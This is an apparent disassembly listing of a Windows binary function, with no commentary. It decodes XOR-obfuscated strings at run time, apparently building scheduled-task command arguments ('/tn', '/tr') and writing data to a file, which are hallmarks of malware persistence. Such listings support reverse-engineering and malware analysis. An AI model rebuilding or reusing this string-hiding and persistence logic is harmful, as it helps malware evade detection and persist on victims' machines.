ja 0x419b2e
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
mov byte [ebp - 0xe8], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x230]
cmp ecx, 0x10
jb 0x418fe6
mov edx, dword [ebp - 0x244]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418fdc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b2e
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp dword [ebp - 0xf4], 0
lea eax, [ebp - 0x104]
mov dword [ebp - 0x234], 0
setbe byte [ebp - 0x29]
mov dword [ebp - 0x230], 0xf
sub esp, 0x18
mov byte [ebp - 0x244], 0
mov ecx, esp
push eax
call fcn.004655b0
mov cl, byte [ebp - 0x29]
call fcn.00415e10
movaps xmm0, xmmword [0x525e20]
add esp, 0x18
movups xmmword [ebp - 0x142], xmm0
mov dword [ebp - 0x132], 0x14055955
xor ecx, ecx
mov dword [ebp - 0x12e], 0x3b323259
mov dword [ebp - 0x12a], 0xd42c3b35
mov word [ebp - 0x126], 0x100
nop
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x142], al
inc ecx
cmp ecx, 0x1c
jb 0x419060
mov byte [ebp - 0x125], 0
xor ecx, ecx
mov dword [ebp - 0x1d], 0x1c484647
mov dword [ebp - 0x19], 0x494a07
mov byte [ebp - 0x15], 1
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 7
jb 0x419090
mov byte [ebp - 0x15], 0
xor ecx, ecx
mov dword [ebp - 0x44], 0x1c484647
mov dword [ebp - 0x40], 0x494a1b
mov byte [ebp - 0x3c], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 7
jb 0x4190b6
xorps xmm0, xmm0
mov byte [ebp - 0x3c], 0
lea ecx, [ebp - 0x368]
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4190f0
sub ecx, edx
lea eax, [ebp - 0x368]
push ecx
push eax
lea ecx, [ebp - 0xcc]
call fcn.00402810
mov byte [ebp - 4], 0x1e
xor ecx, ecx
movaps xmm0, xmmword [0x525390]
movups xmmword [ebp - 0xe8], xmm0
mov dword [ebp - 0xd8], 0x58115955
mov dword [ebp - 0xd4], 0x5c2e2856
mov word [ebp - 0xd0], 0x5f
mov byte [ebp - 0xce], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xe8], al
inc ecx
cmp ecx, 0x19
jb 0x419144
lea eax, [ebp - 0xcc]
mov byte [ebp - 0xce], 0
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x120]
call fcn.00469420
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, eax
call fcn.004652c0
mov dword [ebp - 0x58], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x54], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x68], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x58], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0x10
mov ecx, dword [ebp - 0x15c]
cmovae edx, dword [ebp - 0x16c]
mov esi, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
sub eax, esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], esi
push ecx
push edx
cmp ecx, eax
ja 0x41921f
cmp dword [ebp - 0x54], 0x10
lea eax, [esi + ecx]
mov dword [ebp - 0x58], eax
lea esi, [ebp - 0x68]
cmovae esi, dword [ebp - 0x68]
mov eax, dword [ebp - 0x28]
add eax, esi
push eax
call fcn.004de150
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov ecx, dword [ebp - 0x28]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0x68]
jmp 0x41922f
mov byte [ebp - 0x26], 0
push dword [ebp - 0x26]
push ecx
lea ecx, [ebp - 0x68]
call fcn.0046b360
mov dword [ebp - 0x21c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x22c], xmm0
mov dword [ebp - 0x218], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x22c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x21c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x1d]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x22c]
call fcn.004652c0
mov dword [ebp - 0x8c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x8c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x184]
cmp dword [ebp - 0x170], 0x10
mov edx, dword [ebp - 0x8c]
cmovae ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x88]
sub eax, edx
mov dword [ebp - 0x28], edx
push edi
push ecx
cmp edi, eax
ja 0x419337
cmp dword [ebp - 0x88], 0x10
lea esi, [ebp - 0x9c]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x9c]
mov dword [ebp - 0x8c], eax
lea eax, [esi + edx]
push eax
call fcn.004de150
mov eax, dword [ebp - 0x28]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0x9c]
jmp 0x41934a
mov byte [ebp - 0x26], 0
lea ecx, [ebp - 0x9c]
push dword [ebp - 0x26]
push edi
call fcn.0046b360
mov dword [ebp - 0x204], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x214], xmm0
mov dword [ebp - 0x200], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x214], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x204], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x142]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x214]
call fcn.004652c0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x200]
cmp ecx, 0x10
jb 0x41940c
mov edx, dword [ebp - 0x214]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419402
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b33
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x200], 0xf
mov byte [ebp - 0x214], 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x419465
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41945b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b33
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x218]
cmp ecx, 0x10
jb 0x4194be
mov edx, dword [ebp - 0x22c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4194b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b33
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0xf
mov byte [ebp - 0x22c], 0
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x419511
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419507
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b33
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x10c]
cmp ecx, 0x10
jb 0x419561
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419557
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b33
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0xf
mov byte [ebp - 0x120], 0
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0x10
jb 0x4195ba
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4195b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b33
push ecx
push edx
call fcn.004dc6f1
add esp, 8
sub esp, 0x18
mov dword [ebp - 0xbc], 0
lea eax, [ebp - 0xe8]
mov dword [ebp - 0xb8], 0xf
mov ecx, esp
mov byte [ebp - 0xcc], 0
push eax
call fcn.004655b0
xor cl, cl
call fcn.00415e10
mov byte [ebp - 4], 0x1d
add esp, 0x18
mov ecx, dword [ebp - 0xd4]
cmp ecx, 0x10
jb 0x41962e
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419624
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b38
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xf0]
cmp ecx, 0x10
jb 0x41966c
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419662
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b38
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x158]
cmp ecx, 0x10
jb 0x4196aa
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4196a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b38
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x4196e5
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4196db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b3d
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov esi, dword [ebp - 0x30]
test esi, esi
je 0x4199d8
mov ecx, esi
mov dword [ebp - 0xbc], 0
xorps xmm0, xmm0
mov dword [ebp - 0xb8], 0
movups xmmword [ebp - 0xcc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419713
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xcc]
call fcn.00402810
mov byte [ebp - 4], 0x2b
xor ecx, ecx
mov dword [ebp - 0x38], 0x1c493628
mov dword [ebp - 0x34], 0x1001a04
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x419740
mov byte [ebp - 0x31], 0
xor ecx, ecx
mov dword [ebp - 0x1b], 0xf061439
mov word [ebp - 0x17], 0xc
mov byte [ebp - 0x15], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 5
jb 0x419765
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419780
sub ecx, edx
mov eax, closesocket
mov edx, dword [0x533b44]
sub eax, edx
cmp eax, ecx
jb 0x419b42
cmp dword [0x533b48], 0x10
mov eax, 0x533b34
push edx
cmovae eax, dword [0x533b34]
push eax
push ecx
lea eax, [ebp - 0x1b]
push eax
push ecx
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x120]
call fcn.0046cf70
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x2c
push eax
lea ecx, [ebp - 0x120]
call fcn.004652c0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x104], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xf4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x104]
mov byte [ebp - 4], 0x2d
push eax
lea ecx, [ebp - 0xcc]
call fcn.00465330
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0xf0]
cmp ecx, 0x10
jb 0x419856
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41984c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b47
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 0x2b
mov ecx, dword [ebp - 0x10c]
cmp ecx, 0x10
jb 0x419894
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41988a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b47
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x14], 0x1000412
xor ecx, ecx
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 2
jb 0x4198a0
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0x14]
lea eax, [ebp - 0xcc]
mov byte [ebp - 0x11], 0
cmovae eax, dword [ebp - 0xcc]
push ecx
push eax
call fcn.004e2540
mov esi, eax
add esp, 8
test esi, esi
je 0x41999e
call fcn.00414600
test edx, edx
jg 0x419906
jl 0x4198ec
test eax, eax
jae 0x419906
neg eax
lea ecx, [ebp - 0x3b]
adc edx, 0
neg edx
push edx
push eax
call fcn.004700d0
mov byte [eax - 1], 0x2d
lea ecx, [eax - 1]
jmp 0x419912
push edx
push eax
lea ecx, [ebp - 0x3b]
call fcn.004700d0
mov ecx, eax
xor edx, edx
lea eax, [ebp - 0x3b]
add esp, 8
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], edx
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
cmp ecx, eax
jne 0x419938
mov ecx, 0xf
mov byte [ebp - 0x68], dl
mov dword [ebp - 0x54], ecx
jmp 0x41994d
lea eax, [ebp - 0x3b]
sub eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x68]
call fcn.00402810
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x58]
push esi
cmp ecx, 0x10
lea eax, [ebp - 0x68]
push edx
cmovae eax, dword [ebp - 0x68]
push 1
push eax
call fcn.004ea348
push esi
call fcn.004e5dc8
mov ecx, dword [ebp - 0x54]
add esp, 0x14
cmp ecx, 0x10
jb 0x41999e
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419994
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b4c
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0x10
jb 0x4199d8
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4199ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b51
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0x1a0]
cmp ecx, 0x10
jb 0x419a12
mov edx, dword [ebp - 0x1b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419a08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b56
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1a0], 0xf
mov byte [ebp - 0x1b4], 0
cmp eax, 0x10
jb 0x419a69
mov edx, dword [ebp - 0x184]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x419a5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b56
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0x248]
cmp ecx, 0x10
jb 0x419aa3
mov edx, dword [ebp - 0x25c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419a99
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b56
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0x1b8]
cmp ecx, 0x10
jb 0x419add
mov edx, dword [ebp - 0x1cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419ad3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x419b56
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402040
call fcn.00402040
call fcn.00402040
push eax
call fcn.004db69b
call fcn.00402040
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
push eax
call fcn.004db69b
call fcn.004e1990
call fcn.00402040
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
call fcn.00402040
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
int3